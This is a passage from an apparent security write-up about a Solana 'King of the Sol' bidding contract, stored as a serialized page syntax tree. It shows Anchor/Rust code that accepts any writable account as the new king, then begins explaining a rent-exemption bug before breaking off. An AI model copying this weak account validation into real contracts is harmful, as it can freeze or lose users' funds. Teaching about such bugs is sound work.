into a prize pot.",{"type":20,"tag":72,"props":69515,"children":69516},{},[69517],{"type":26,"value":69518},"If the reigning king survives for 10 days without being dethroned, they can claim the entire pot.",{"type":20,"tag":29,"props":69520,"children":69521},{},[69522],{"type":26,"value":69523},"Simple, right?",{"type":20,"tag":29,"props":69525,"children":69526},{},[69527],{"type":26,"value":69528},"This is the core logic:",{"type":20,"tag":305,"props":69530,"children":69532},{"className":1360,"code":69531,"language":1359,"meta":7,"style":7},"#[derive(Accounts)]\npub struct ChangeKing\u003C'info> {\n #[account(mut)]\n pub throne: Account\u003C'info, Throne>,\n\n /// CHECK: old_king gets a 95% refund, so ensure its writable.\n #[account(mut, constraint = old_king.key() == throne.king)]\n pub old_king: AccountInfo\u003C'info>,\n\n /// CHECK: any writable account is allowed as a new king.\n #[account(mut)]\n pub new_king: AccountInfo\u003C'info>,\n\n #[account(mut)]\n pub payer: Signer\u003C'info>,\n}\n\n#[program]\npub mod king_of_the_sol {\n pub fn change_king(ctx: Context\u003CChangeKing>, bid_amount: u64) -> Result\u003C()> {\n // Check that bid_amount is at least 2x last_bid_amount\n assert!(bid_amount >= ctx.accounts.throne.last_bid_amount * 2);\n transfer_from_signer(\n &ctx.accounts.payer,\n &ctx.accounts.throne.to_account_info(),\n bid_amount,\n )?;\n\n // Reimburse 95% of the last bid to the old king\n let to_reimburse = (ctx.accounts.throne.last_bid_amount * 9500) / 10000;\n transfer_from_pda(\n &ctx.accounts.throne.to_account_info(),\n &ctx.accounts.old_king,\n to_reimburse,\n )?;\n\n // Set new king\n ctx.accounts.throne.king = ctx.accounts.new_king.key();\n ctx.accounts.throne.last_bid_amount = bid_amount;\n ctx.accounts.throne.last_time = Clock::get()?.unix_timestamp as u64;\n\n Ok(())\n }\n}\n",[69533],{"type":20,"tag":119,"props":69534,"children":69535},{"__ignoreMap":7},[69536,69551,69579,69594,69635,69642,69650,69701,69732,69739,69747,69762,69794,69801,69816,69847,69854,69861,69869,69886,69960,69968,70029,70041,70069,70109,70121,70137,70144,70152,70226,70238,70277,70305,70317,70332,70339,70347,70417,70461,70535,70542,70553,70560],{"type":20,"tag":315,"props":69537,"children":69538},{"class":317,"line":318},[69539,69543,69547],{"type":20,"tag":315,"props":69540,"children":69541},{"style":328},[69542],{"type":26,"value":21242},{"type":20,"tag":315,"props":69544,"children":69545},{"style":322},[69546],{"type":26,"value":21247},{"type":20,"tag":315,"props":69548,"children":69549},{"style":328},[69550],{"type":26,"value":18662},{"type":20,"tag":315,"props":69552,"children":69553},{"class":317,"line":356},[69554,69558,69562,69567,69571,69575],{"type":20,"tag":315,"props":69555,"children":69556},{"style":541},[69557],{"type":26,"value":12091},{"type":20,"tag":315,"props":69559,"children":69560},{"style":541},[69561],{"type":26,"value":19555},{"type":20,"tag":315,"props":69563,"children":69564},{"style":322},[69565],{"type":26,"value":69566}," ChangeKing",{"type":20,"tag":315,"props":69568,"children":69569},{"style":328},[69570],{"type":26,"value":21327},{"type":20,"tag":315,"props":69572,"children":69573},{"style":322},[69574],{"type":26,"value":21332},{"type":20,"tag":315,"props":69576,"children":69577},{"style":328},[69578],{"type":26,"value":5676},{"type":20,"tag":315,"props":69580,"children":69581},{"class":317,"line":365},[69582,69586,69590],{"type":20,"tag":315,"props":69583,"children":69584},{"style":328},[69585],{"type":26,"value":21534},{"type":20,"tag":315,"props":69587,"children":69588},{"style":541},[69589],{"type":26,"value":2107},{"type":20,"tag":315,"props":69591,"children":69592},{"style":328},[69593],{"type":26,"value":18662},{"type":20,"tag":315,"props":69595,"children":69596},{"class":317,"line":374},[69597,69601,69606,69610,69614,69618,69622,69626,69631],{"type":20,"tag":315,"props":69598,"children":69599},{"style":541},[69600],{"type":26,"value":19247},{"type":20,"tag":315,"props":69602,"children":69603},{"style":635},[69604],{"type":26,"value":69605}," throne",{"type":20,"tag":315,"props":69607,"children":69608},{"style":334},[69609],{"type":26,"value":2884},{"type":20,"tag":315,"props":69611,"children":69612},{"style":322},[69613],{"type":26,"value":21499},{"type":20,"tag":315,"props":69615,"children":69616},{"style":328},[69617],{"type":26,"value":21327},{"type":20,"tag":315,"props":69619,"children":69620},{"style":322},[69621],{"type":26,"value":21332},{"type":20,"tag":315,"props":69623,"children":69624},{"style":328},[69625],{"type":26,"value":44},{"type":20,"tag":315,"props":69627,"children":69628},{"style":322},[69629],{"type":26,"value":69630},"Throne",{"type":20,"tag":315,"props":69632,"children":69633},{"style":328},[69634],{"type":26,"value":4532},{"type":20,"tag":315,"props":69636,"children":69637},{"class":317,"line":383},[69638],{"type":20,"tag":315,"props":69639,"children":69640},{"emptyLinePlaceholder":15},[69641],{"type":26,"value":427},{"type":20,"tag":315,"props":69643,"children":69644},{"class":317,"line":407},[69645],{"type":20,"tag":315,"props":69646,"children":69647},{"style":1071},[69648],{"type":26,"value":69649}," /// CHECK: old_king gets a 95% refund, so ensure its writable.\n",{"type":20,"tag":315,"props":69651,"children":69652},{"class":317,"line":421},[69653,69657,69661,69666,69670,69675,69679,69684,69688,69692,69696],{"type":20,"tag":315,"props":69654,"children":69655},{"style":328},[69656],{"type":26,"value":21534},{"type":20,"tag":315,"props":69658,"children":69659},{"style":541},[69660],{"type":26,"value":2107},{"type":20,"tag":315,"props":69662,"children":69663},{"style":328},[69664],{"type":26,"value":69665},", constraint ",{"type":20,"tag":315,"props":69667,"children":69668},{"style":334},[69669],{"type":26,"value":337},{"type":20,"tag":315,"props":69671,"children":69672},{"style":328},[69673],{"type":26,"value":69674}," old_king",{"type":20,"tag":315,"props":69676,"children":69677},{"style":334},[69678],{"type":26,"value":61},{"type":20,"tag":315,"props":69680,"children":69681},{"style":328},[69682],{"type":26,"value":69683},"key() ",{"type":20,"tag":315,"props":69685,"children":69686},{"style":334},[69687],{"type":26,"value":538},{"type":20,"tag":315,"props":69689,"children":69690},{"style":328},[69691],{"type":26,"value":69605},{"type":20,"tag":315,"props":69693,"children":69694},{"style":334},[69695],{"type":26,"value":61},{"type":20,"tag":315,"props":69697,"children":69698},{"style":328},[69699],{"type":26,"value":69700},"king)]\n",{"type":20,"tag":315,"props":69702,"children":69703},{"class":317,"line":430},[69704,69708,69712,69716,69720,69724,69728],{"type":20,"tag":315,"props":69705,"children":69706},{"style":541},[69707],{"type":26,"value":19247},{"type":20,"tag":315,"props":69709,"children":69710},{"style":635},[69711],{"type":26,"value":69674},{"type":20,"tag":315,"props":69713,"children":69714},{"style":334},[69715],{"type":26,"value":2884},{"type":20,"tag":315,"props":69717,"children":69718},{"style":322},[69719],{"type":26,"value":23814},{"type":20,"tag":315,"props":69721,"children":69722},{"style":328},[69723],{"type":26,"value":21327},{"type":20,"tag":315,"props":69725,"children":69726},{"style":322},[69727],{"type":26,"value":21332},{"type":20,"tag":315,"props":69729,"children":69730},{"style":328},[69731],{"type":26,"value":4532},{"type":20,"tag":315,"props":69733,"children":69734},{"class":317,"line":453},[69735],{"type":20,"tag":315,"props":69736,"children":69737},{"emptyLinePlaceholder":15},[69738],{"type":26,"value":427},{"type":20,"tag":315,"props":69740,"children":69741},{"class":317,"line":486},[69742],{"type":20,"tag":315,"props":69743,"children":69744},{"style":1071},[69745],{"type":26,"value":69746}," /// CHECK: any writable account is allowed as a new king.\n",{"type":20,"tag":315,"props":69748,"children":69749},{"class":317,"line":499},[69750,69754,69758],{"type":20,"tag":315,"props":69751,"children":69752},{"style":328},[69753],{"type":26,"value":21534},{"type":20,"tag":315,"props":69755,"children":69756},{"style":541},[69757],{"type":26,"value":2107},{"type":20,"tag":315,"props":69759,"children":69760},{"style":328},[69761],{"type":26,"value":18662},{"type":20,"tag":315,"props":69763,"children":69764},{"class":317,"line":513},[69765,69769,69774,69778,69782,69786,69790],{"type":20,"tag":315,"props":69766,"children":69767},{"style":541},[69768],{"type":26,"value":19247},{"type":20,"tag":315,"props":69770,"children":69771},{"style":635},[69772],{"type":26,"value":69773}," new_king",{"type":20,"tag":315,"props":69775,"children":69776},{"style":334},[69777],{"type":26,"value":2884},{"type":20,"tag":315,"props":69779,"children":69780},{"style":322},[69781],{"type":26,"value":23814},{"type":20,"tag":315,"props":69783,"children":69784},{"style":328},[69785],{"type":26,"value":21327},{"type":20,"tag":315,"props":69787,"children":69788},{"style":322},[69789],{"type":26,"value":21332},{"type":20,"tag":315,"props":69791,"children":69792},{"style":328},[69793],{"type":26,"value":4532},{"type":20,"tag":315,"props":69795,"children":69796},{"class":317,"line":521},[69797],{"type":20,"tag":315,"props":69798,"children":69799},{"emptyLinePlaceholder":15},[69800],{"type":26,"value":427},{"type":20,"tag":315,"props":69802,"children":69803},{"class":317,"line":552},[69804,69808,69812],{"type":20,"tag":315,"props":69805,"children":69806},{"style":328},[69807],{"type":26,"value":21534},{"type":20,"tag":315,"props":69809,"children":69810},{"style":541},[69811],{"type":26,"value":2107},{"type":20,"tag":315,"props":69813,"children":69814},{"style":328},[69815],{"type":26,"value":18662},{"type":20,"tag":315,"props":69817,"children":69818},{"class":317,"line":571},[69819,69823,69827,69831,69835,69839,69843],{"type":20,"tag":315,"props":69820,"children":69821},{"style":541},[69822],{"type":26,"value":19247},{"type":20,"tag":315,"props":69824,"children":69825},{"style":635},[69826],{"type":26,"value":40659},{"type":20,"tag":315,"props":69828,"children":69829},{"style":334},[69830],{"type":26,"value":2884},{"type":20,"tag":315,"props":69832,"children":69833},{"style":322},[69834],{"type":26,"value":21563},{"type":20,"tag":315,"props":69836,"children":69837},{"style":328},[69838],{"type":26,"value":21327},{"type":20,"tag":315,"props":69840,"children":69841},{"style":322},[69842],{"type":26,"value":21332},{"type":20,"tag":315,"props":69844,"children":69845},{"style":328},[69846],{"type":26,"value":4532},{"type":20,"tag":315,"props":69848,"children":69849},{"class":317,"line":2031},[69850],{"type":20,"tag":315,"props":69851,"children":69852},{"style":328},[69853],{"type":26,"value":577},{"type":20,"tag":315,"props":69855,"children":69856},{"class":317,"line":2053},[69857],{"type":20,"tag":315,"props":69858,"children":69859},{"emptyLinePlaceholder":15},[69860],{"type":26,"value":427},{"type":20,"tag":315,"props":69862,"children":69863},{"class":317,"line":2061},[69864],{"type":20,"tag":315,"props":69865,"children":69866},{"style":328},[69867],{"type":26,"value":69868},"#[program]\n",{"type":20,"tag":315,"props":69870,"children":69871},{"class":317,"line":2070},[69872,69876,69881],{"type":20,"tag":315,"props":69873,"children":69874},{"style":541},[69875],{"type":26,"value":12091},{"type":20,"tag":315,"props":69877,"children":69878},{"style":541},[69879],{"type":26,"value":69880}," mod",{"type":20,"tag":315,"props":69882,"children":69883},{"style":328},[69884],{"type":26,"value":69885}," king_of_the_sol {\n",{"type":20,"tag":315,"props":69887,"children":69888},{"class":317,"line":2139},[69889,69893,69897,69902,69906,69910,69914,69918,69922,69927,69931,69936,69940,69944,69948,69952,69956],{"type":20,"tag":315,"props":69890,"children":69891},{"style":541},[69892],{"type":26,"value":19247},{"type":20,"tag":315,"props":69894,"children":69895},{"style":541},[69896],{"type":26,"value":12096},{"type":20,"tag":315,"props":69898,"children":69899},{"style":345},[69900],{"type":26,"value":69901}," change_king",{"type":20,"tag":315,"props":69903,"children":69904},{"style":328},[69905],{"type":26,"value":1049},{"type":20,"tag":315,"props":69907,"children":69908},{"style":635},[69909],{"type":26,"value":18684},{"type":20,"tag":315,"props":69911,"children":69912},{"style":334},[69913],{"type":26,"value":2884},{"type":20,"tag":315,"props":69915,"children":69916},{"style":322},[69917],{"type":26,"value":18693},{"type":20,"tag":315,"props":69919,"children":69920},{"style":328},[69921],{"type":26,"value":4199},{"type":20,"tag":315,"props":69923,"children":69924},{"style":322},[69925],{"type":26,"value":69926},"ChangeKing",{"type":20,"tag":315,"props":69928,"children":69929},{"style":328},[69930],{"type":26,"value":5025},{"type":20,"tag":315,"props":69932,"children":69933},{"style":635},[69934],{"type":26,"value":69935},"bid_amount",{"type":20,"tag":315,"props":69937,"children":69938},{"style":334},[69939],{"type":26,"value":2884},{"type":20,"tag":315,"props":69941,"children":69942},{"style":322},[69943],{"type":26,"value":4253},{"type":20,"tag":315,"props":69945,"children":69946},{"style":328},[69947],{"type":26,"value":1468},{"type":20,"tag":315,"props":69949,"children":69950},{"style":334},[69951],{"type":26,"value":12158},{"type":20,"tag":315,"props":69953,"children":69954},{"style":322},[69955],{"type":26,"value":12163},{"type":20,"tag":315,"props":69957,"children":69958},{"style":328},[69959],{"type":26,"value":18735},{"type":20,"tag":315,"props":69961,"children":69962},{"class":317,"line":2147},[69963],{"type":20,"tag":315,"props":69964,"children":69965},{"style":1071},[69966],{"type":26,"value":69967}," // Check that bid_amount is at least 2x last_bid_amount\n",{"type":20,"tag":315,"props":69969,"children":69970},{"class":317,"line":2177},[69971,69975,69979,69983,69987,69991,69995,69999,70003,70008,70012,70017,70021,70025],{"type":20,"tag":315,"props":69972,"children":69973},{"style":345},[69974],{"type":26,"value":62702},{"type":20,"tag":315,"props":69976,"children":69977},{"style":328},[69978],{"type":26,"value":1049},{"type":20,"tag":315,"props":69980,"children":69981},{"style":635},[69982],{"type":26,"value":69935},{"type":20,"tag":315,"props":69984,"children":69985},{"style":334},[69986],{"type":26,"value":6698},{"type":20,"tag":315,"props":69988,"children":69989},{"style":635},[69990],{"type":26,"value":24259},{"type":20,"tag":315,"props":69992,"children":69993},{"style":334},[69994],{"type":26,"value":61},{"type":20,"tag":315,"props":69996,"children":69997},{"style":328},[69998],{"type":26,"value":13076},{"type":20,"tag":315,"props":70000,"children":70001},{"style":334},[70002],{"type":26,"value":61},{"type":20,"tag":315,"props":70004,"children":70005},{"style":328},[70006],{"type":26,"value":70007},"throne",{"type":20,"tag":315,"props":70009,"children":70010},{"style":334},[70011],{"type":26,"value":61},{"type":20,"tag":315,"props":70013,"children":70014},{"style":328},[70015],{"type":26,"value":70016},"last_bid_amount ",{"type":20,"tag":315,"props":70018,"children":70019},{"style":334},[70020],{"type":26,"value":901},{"type":20,"tag":315,"props":70022,"children":70023},{"style":765},[70024],{"type":26,"value":6330},{"type":20,"tag":315,"props":70026,"children":70027},{"style":328},[70028],{"type":26,"value":2214},{"type":20,"tag":315,"props":70030,"children":70031},{"class":317,"line":2185},[70032,70037],{"type":20,"tag":315,"props":70033,"children":70034},{"style":345},[70035],{"type":26,"value":70036}," transfer_from_signer",{"type":20,"tag":315,"props":70038,"children":70039},{"style":328},[70040],{"type":26,"value":353},{"type":20,"tag":315,"props":70042,"children":70043},{"class":317,"line":2217},[70044,70048,70052,70056,70060,70064],{"type":20,"tag":315,"props":70045,"children":70046},{"style":334},[70047],{"type":26,"value":6080},{"type":20,"tag":315,"props":70049,"children":70050},{"style":635},[70051],{"type":26,"value":18684},{"type":20,"tag":315,"props":70053,"children":70054},{"style":334},[70055],{"type":26,"value":61},{"type":20,"tag":315,"props":70057,"children":70058},{"style":328},[70059],{"type":26,"value":13076},{"type":20,"tag":315,"props":70061,"children":70062},{"style":334},[70063],{"type":26,"value":61},{"type":20,"tag":315,"props":70065,"children":70066},{"style":328},[70067],{"type":26,"value":70068},"payer,\n",{"type":20,"tag":315,"props":70070,"children":70071},{"class":317,"line":2225},[70072,70076,70080,70084,70088,70092,70096,70100,70105],{"type":20,"tag":315,"props":70073,"children":70074},{"style":334},[70075],{"type":26,"value":6080},{"type":20,"tag":315,"props":70077,"children":70078},{"style":635},[70079],{"type":26,"value":18684},{"type":20,"tag":315,"props":70081,"children":70082},{"style":334},[70083],{"type":26,"value":61},{"type":20,"tag":315,"props":70085,"children":70086},{"style":328},[70087],{"type":26,"value":13076},{"type":20,"tag":315,"props":70089,"children":70090},{"style":334},[70091],{"type":26,"value":61},{"type":20,"tag":315,"props":70093,"children":70094},{"style":328},[70095],{"type":26,"value":70007},{"type":20,"tag":315,"props":70097,"children":70098},{"style":334},[70099],{"type":26,"value":61},{"type":20,"tag":315,"props":70101,"children":70102},{"style":345},[70103],{"type":26,"value":70104},"to_account_info",{"type":20,"tag":315,"props":70106,"children":70107},{"style":328},[70108],{"type":26,"value":1871},{"type":20,"tag":315,"props":70110,"children":70111},{"class":317,"line":2285},[70112,70117],{"type":20,"tag":315,"props":70113,"children":70114},{"style":635},[70115],{"type":26,"value":70116}," bid_amount",{"type":20,"tag":315,"props":70118,"children":70119},{"style":328},[70120],{"type":26,"value":643},{"type":20,"tag":315,"props":70122,"children":70123},{"class":317,"line":7444},[70124,70129,70133],{"type":20,"tag":315,"props":70125,"children":70126},{"style":328},[70127],{"type":26,"value":70128}," )",{"type":20,"tag":315,"props":70130,"children":70131},{"style":334},[70132],{"type":26,"value":1537},{"type":20,"tag":315,"props":70134,"children":70135},{"style":328},[70136],{"type":26,"value":1405},{"type":20,"tag":315,"props":70138,"children":70139},{"class":317,"line":7462},[70140],{"type":20,"tag":315,"props":70141,"children":70142},{"emptyLinePlaceholder":15},[70143],{"type":26,"value":427},{"type":20,"tag":315,"props":70145,"children":70146},{"class":317,"line":7507},[70147],{"type":20,"tag":315,"props":70148,"children":70149},{"style":1071},[70150],{"type":26,"value":70151}," // Reimburse 95% of the last bid to the old king\n",{"type":20,"tag":315,"props":70153,"children":70154},{"class":317,"line":7613},[70155,70159,70164,70168,70172,70176,70180,70184,70188,70192,70196,70200,70204,70209,70213,70217,70222],{"type":20,"tag":315,"props":70156,"children":70157},{"style":541},[70158],{"type":26,"value":1445},{"type":20,"tag":315,"props":70160,"children":70161},{"style":635},[70162],{"type":26,"value":70163}," to_reimburse",{"type":20,"tag":315,"props":70165,"children":70166},{"style":334},[70167],{"type":26,"value":1395},{"type":20,"tag":315,"props":70169,"children":70170},{"style":328},[70171],{"type":26,"value":463},{"type":20,"tag":315,"props":70173,"children":70174},{"style":635},[70175],{"type":26,"value":18684},{"type":20,"tag":315,"props":70177,"children":70178},{"style":334},[70179],{"type":26,"value":61},{"type":20,"tag":315,"props":70181,"children":70182},{"style":328},[70183],{"type":26,"value":13076},{"type":20,"tag":315,"props":70185,"children":70186},{"style":334},[70187],{"type":26,"value":61},{"type":20,"tag":315,"props":70189,"children":70190},{"style":328},[70191],{"type":26,"value":70007},{"type":20,"tag":315,"props":70193,"children":70194},{"style":334},[70195],{"type":26,"value":61},{"type":20,"tag":315,"props":70197,"children":70198},{"style":328},[70199],{"type":26,"value":70016},{"type":20,"tag":315,"props":70201,"children":70202},{"style":334},[70203],{"type":26,"value":901},{"type":20,"tag":315,"props":70205,"children":70206},{"style":765},[70207],{"type":26,"value":70208}," 9500",{"type":20,"tag":315,"props":70210,"children":70211},{"style":328},[70212],{"type":26,"value":1468},{"type":20,"tag":315,"props":70214,"children":70215},{"style":334},[70216],{"type":26,"value":786},{"type":20,"tag":315,"props":70218,"children":70219},{"style":765},[70220],{"type":26,"value":70221}," 10000",{"type":20,"tag":315,"props":70223,"children":70224},{"style":328},[70225],{"type":26,"value":1405},{"type":20,"tag":315,"props":70227,"children":70228},{"class":317,"line":21914},[70229,70234],{"type":20,"tag":315,"props":70230,"children":70231},{"style":345},[70232],{"type":26,"value":70233}," transfer_from_pda",{"type":20,"tag":315,"props":70235,"children":70236},{"style":328},[70237],{"type":26,"value":353},{"type":20,"tag":315,"props":70239,"children":70240},{"class":317,"line":21949},[70241,70245,70249,70253,70257,70261,70265,70269,70273],{"type":20,"tag":315,"props":70242,"children":70243},{"style":334},[70244],{"type":26,"value":6080},{"type":20,"tag":315,"props":70246,"children":70247},{"style":635},[70248],{"type":26,"value":18684},{"type":20,"tag":315,"props":70250,"children":70251},{"style":334},[70252],{"type":26,"value":61},{"type":20,"tag":315,"props":70254,"children":70255},{"style":328},[70256],{"type":26,"value":13076},{"type":20,"tag":315,"props":70258,"children":70259},{"style":334},[70260],{"type":26,"value":61},{"type":20,"tag":315,"props":70262,"children":70263},{"style":328},[70264],{"type":26,"value":70007},{"type":20,"tag":315,"props":70266,"children":70267},{"style":334},[70268],{"type":26,"value":61},{"type":20,"tag":315,"props":70270,"children":70271},{"style":345},[70272],{"type":26,"value":70104},{"type":20,"tag":315,"props":70274,"children":70275},{"style":328},[70276],{"type":26,"value":1871},{"type":20,"tag":315,"props":70278,"children":70279},{"class":317,"line":21957},[70280,70284,70288,70292,70296,70300],{"type":20,"tag":315,"props":70281,"children":70282},{"style":334},[70283],{"type":26,"value":6080},{"type":20,"tag":315,"props":70285,"children":70286},{"style":635},[70287],{"type":26,"value":18684},{"type":20,"tag":315,"props":70289,"children":70290},{"style":334},[70291],{"type":26,"value":61},{"type":20,"tag":315,"props":70293,"children":70294},{"style":328},[70295],{"type":26,"value":13076},{"type":20,"tag":315,"props":70297,"children":70298},{"style":334},[70299],{"type":26,"value":61},{"type":20,"tag":315,"props":70301,"children":70302},{"style":328},[70303],{"type":26,"value":70304},"old_king,\n",{"type":20,"tag":315,"props":70306,"children":70307},{"class":317,"line":21965},[70308,70313],{"type":20,"tag":315,"props":70309,"children":70310},{"style":635},[70311],{"type":26,"value":70312}," to_reimburse",{"type":20,"tag":315,"props":70314,"children":70315},{"style":328},[70316],{"type":26,"value":643},{"type":20,"tag":315,"props":70318,"children":70319},{"class":317,"line":21974},[70320,70324,70328],{"type":20,"tag":315,"props":70321,"children":70322},{"style":328},[70323],{"type":26,"value":70128},{"type":20,"tag":315,"props":70325,"children":70326},{"style":334},[70327],{"type":26,"value":1537},{"type":20,"tag":315,"props":70329,"children":70330},{"style":328},[70331],{"type":26,"value":1405},{"type":20,"tag":315,"props":70333,"children":70334},{"class":317,"line":22016},[70335],{"type":20,"tag":315,"props":70336,"children":70337},{"emptyLinePlaceholder":15},[70338],{"type":26,"value":427},{"type":20,"tag":315,"props":70340,"children":70341},{"class":317,"line":22049},[70342],{"type":20,"tag":315,"props":70343,"children":70344},{"style":1071},[70345],{"type":26,"value":70346}," // Set new king\n",{"type":20,"tag":315,"props":70348,"children":70349},{"class":317,"line":22057},[70350,70354,70358,70362,70366,70370,70374,70379,70383,70387,70391,70395,70399,70404,70408,70413],{"type":20,"tag":315,"props":70351,"children":70352},{"style":635},[70353],{"type":26,"value":24602},{"type":20,"tag":315,"props":70355,"children":70356},{"style":334},[70357],{"type":26,"value":61},{"type":20,"tag":315,"props":70359,"children":70360},{"style":328},[70361],{"type":26,"value":13076},{"type":20,"tag":315,"props":70363,"children":70364},{"style":334},[70365],{"type":26,"value":61},{"type":20,"tag":315,"props":70367,"children":70368},{"style":328},[70369],{"type":26,"value":70007},{"type":20,"tag":315,"props":70371,"children":70372},{"style":334},[70373],{"type":26,"value":61},{"type":20,"tag":315,"props":70375,"children":70376},{"style":328},[70377],{"type":26,"value":70378},"king ",{"type":20,"tag":315,"props":70380,"children":70381},{"style":334},[70382],{"type":26,"value":337},{"type":20,"tag":315,"props":70384,"children":70385},{"style":635},[70386],{"type":26,"value":24259},{"type":20,"tag":315,"props":70388,"children":70389},{"style":334},[70390],{"type":26,"value":61},{"type":20,"tag":315,"props":70392,"children":70393},{"style":328},[70394],{"type":26,"value":13076},{"type":20,"tag":315,"props":70396,"children":70397},{"style":334},[70398],{"type":26,"value":61},{"type":20,"tag":315,"props":70400,"children":70401},{"style":328},[70402],{"type":26,"value":70403},"new_king",{"type":20,"tag":315,"props":70405,"children":70406},{"style":334},[70407],{"type":26,"value":61},{"type":20,"tag":315,"props":70409,"children":70410},{"style":345},[70411],{"type":26,"value":70412},"key",{"type":20,"tag":315,"props":70414,"children":70415},{"style":328},[70416],{"type":26,"value":568},{"type":20,"tag":315,"props":70418,"children":70419},{"class":317,"line":22065},[70420,70424,70428,70432,70436,70440,70444,70448,70452,70457],{"type":20,"tag":315,"props":70421,"children":70422},{"style":635},[70423],{"type":26,"value":24602},{"type":20,"tag":315,"props":70425,"children":70426},{"style":334},[70427],{"type":26,"value":61},{"type":20,"tag":315,"props":70429,"children":70430},{"style":328},[70431],{"type":26,"value":13076},{"type":20,"tag":315,"props":70433,"children":70434},{"style":334},[70435],{"type":26,"value":61},{"type":20,"tag":315,"props":70437,"children":70438},{"style":328},[70439],{"type":26,"value":70007},{"type":20,"tag":315,"props":70441,"children":70442},{"style":334},[70443],{"type":26,"value":61},{"type":20,"tag":315,"props":70445,"children":70446},{"style":328},[70447],{"type":26,"value":70016},{"type":20,"tag":315,"props":70449,"children":70450},{"style":334},[70451],{"type":26,"value":337},{"type":20,"tag":315,"props":70453,"children":70454},{"style":635},[70455],{"type":26,"value":70456}," bid_amount",{"type":20,"tag":315,"props":70458,"children":70459},{"style":328},[70460],{"type":26,"value":1405},{"type":20,"tag":315,"props":70462,"children":70463},{"class":317,"line":22074},[70464,70468,70472,70476,70480,70484,70488,70493,70497,70502,70506,70510,70514,70518,70523,70527,70531],{"type":20,"tag":315,"props":70465,"children":70466},{"style":635},[70467],{"type":26,"value":24602},{"type":20,"tag":315,"props":70469,"children":70470},{"style":334},[70471],{"type":26,"value":61},{"type":20,"tag":315,"props":70473,"children":70474},{"style":328},[70475],{"type":26,"value":13076},{"type":20,"tag":315,"props":70477,"children":70478},{"style":334},[70479],{"type":26,"value":61},{"type":20,"tag":315,"props":70481,"children":70482},{"style":328},[70483],{"type":26,"value":70007},{"type":20,"tag":315,"props":70485,"children":70486},{"style":334},[70487],{"type":26,"value":61},{"type":20,"tag":315,"props":70489,"children":70490},{"style":328},[70491],{"type":26,"value":70492},"last_time ",{"type":20,"tag":315,"props":70494,"children":70495},{"style":334},[70496],{"type":26,"value":337},{"type":20,"tag":315,"props":70498,"children":70499},{"style":322},[70500],{"type":26,"value":70501}," Clock",{"type":20,"tag":315,"props":70503,"children":70504},{"style":334},[70505],{"type":26,"value":1861},{"type":20,"tag":315,"props":70507,"children":70508},{"style":345},[70509],{"type":26,"value":14753},{"type":20,"tag":315,"props":70511,"children":70512},{"style":328},[70513],{"type":26,"value":12280},{"type":20,"tag":315,"props":70515,"children":70516},{"style":334},[70517],{"type":26,"value":1514},{"type":20,"tag":315,"props":70519,"children":70520},{"style":328},[70521],{"type":26,"value":70522},"unix_timestamp ",{"type":20,"tag":315,"props":70524,"children":70525},{"style":541},[70526],{"type":26,"value":7238},{"type":20,"tag":315,"props":70528,"children":70529},{"style":322},[70530],{"type":26,"value":4253},{"type":20,"tag":315,"props":70532,"children":70533},{"style":328},[70534],{"type":26,"value":1405},{"type":20,"tag":315,"props":70536,"children":70537},{"class":317,"line":22150},[70538],{"type":20,"tag":315,"props":70539,"children":70540},{"emptyLinePlaceholder":15},[70541],{"type":26,"value":427},{"type":20,"tag":315,"props":70543,"children":70544},{"class":317,"line":22183},[70545,70549],{"type":20,"tag":315,"props":70546,"children":70547},{"style":322},[70548],{"type":26,"value":13212},{"type":20,"tag":315,"props":70550,"children":70551},{"style":328},[70552],{"type":26,"value":12739},{"type":20,"tag":315,"props":70554,"children":70555},{"class":317,"line":22191},[70556],{"type":20,"tag":315,"props":70557,"children":70558},{"style":328},[70559],{"type":26,"value":1736},{"type":20,"tag":315,"props":70561,"children":70562},{"class":317,"line":22199},[70563],{"type":20,"tag":315,"props":70564,"children":70565},{"style":328},[70566],{"type":26,"value":577},{"type":20,"tag":29,"props":70568,"children":70569},{},[70570],{"type":26,"value":70571},"Note this comment:",{"type":20,"tag":1312,"props":70573,"children":70574},{},[70575],{"type":20,"tag":29,"props":70576,"children":70577},{},[70578],{"type":26,"value":70579},"any writable account is allowed as a new king.",{"type":20,"tag":29,"props":70581,"children":70582},{},[70583],{"type":26,"value":70584},"...Is our assumption correct?",{"type":20,"tag":21,"props":70586,"children":70588},{"id":70587},"the-bugs-lurking-beneath",[70589],{"type":26,"value":70590},"The Bugs Lurking Beneath",{"type":20,"tag":219,"props":70592,"children":70594},{"id":70593},"bug-1-the-rent-exemption-trap",[70595],{"type":26,"value":70596},"Bug 1: The Rent-Exemption Trap",{"type":20,"tag":29,"props":70598,"children":70599},{},[70600,70602,70607],{"type":26,"value":70601},"On Solana, all accounts must maintain a ",{"type":20,"tag":3717,"props":70603,"children":70604},{},[70605],{"type":26,"value":70606},"minimum balance",{"type":26,"value":70608}," of lamports to remain rent-exempt. Specifically, an account can be in one of two states:",{"type":20,"tag":15089,"props":70610,"children":70611},{},[70612,70627],{"type":20,"tag":72,"props":70613,"children":70614},{},[70615,70620,70621],{"type":20,"tag":3717,"props":70616,"children":70617},{},[70618],{"type":26,"value":70619},"Uninitialized",{"type":26,"value":13732},{"type":20,"tag":119,"props":70622,"children":70624},{"className":70623},[],[70625],{"type":26,"value":70626},"lamports = 0",{"type":20,"tag":72,"props":70628,"children":70629},{},[70630,70635,70636],{"type":20,"tag":3717,"props":70631,"children":70632},{},[70633],{"type":26,"value":70634},"Initialized",{"type":26,"value":13732},{"type":20,"tag":119,"props":70637,"children":70639},{"className":70638},[],[70640],{"type":26,"value":70641},"lamports >= rent-exempt threshold",{"type":20,"tag":29,"props":70643,"children":70644},{},[70645,70647,70652],{"type":26,"value":70646},"This rent model exists to prevent low-cost DoS attacks on validators. The key idea is that even an account with no data (i.e., zero-length data buffer) still consumes on-chain resources; specifically, ",{"type":20,"tag":3717,"props":70648,"children":70649},{},[70650],{"type":26,"value":70651},"account metadata",{"type":26,"value":70653}," like its public key, owner, or lamport balance. That metadata must be stored persistently by validators, and that storage isn't free.",{"type":20,"tag":29,"props":70655,"children":70656},{},[70657,70659,70665],{"type":26,"value":70658},"So “persistent state” on Solana doesn’t just mean your program's data — it includes the base account structure itself. Even accounts with ",{"type":20,"tag":119,"props":70660,"children":70662},{"className":70661},[],[70663],{"type":26,"value":70664},"data.len() == 0",{"type":26,"value":70666}," must meet a minimum rent threshold to remain alive and avoid garbage collection by the runtime.",{"type":20,"tag":29,"props":70668,"children":70669},{},[70670,70672,70678],{"type":26,"value":70671},"This is enforced at the runtime level, and the relevant logic can be found 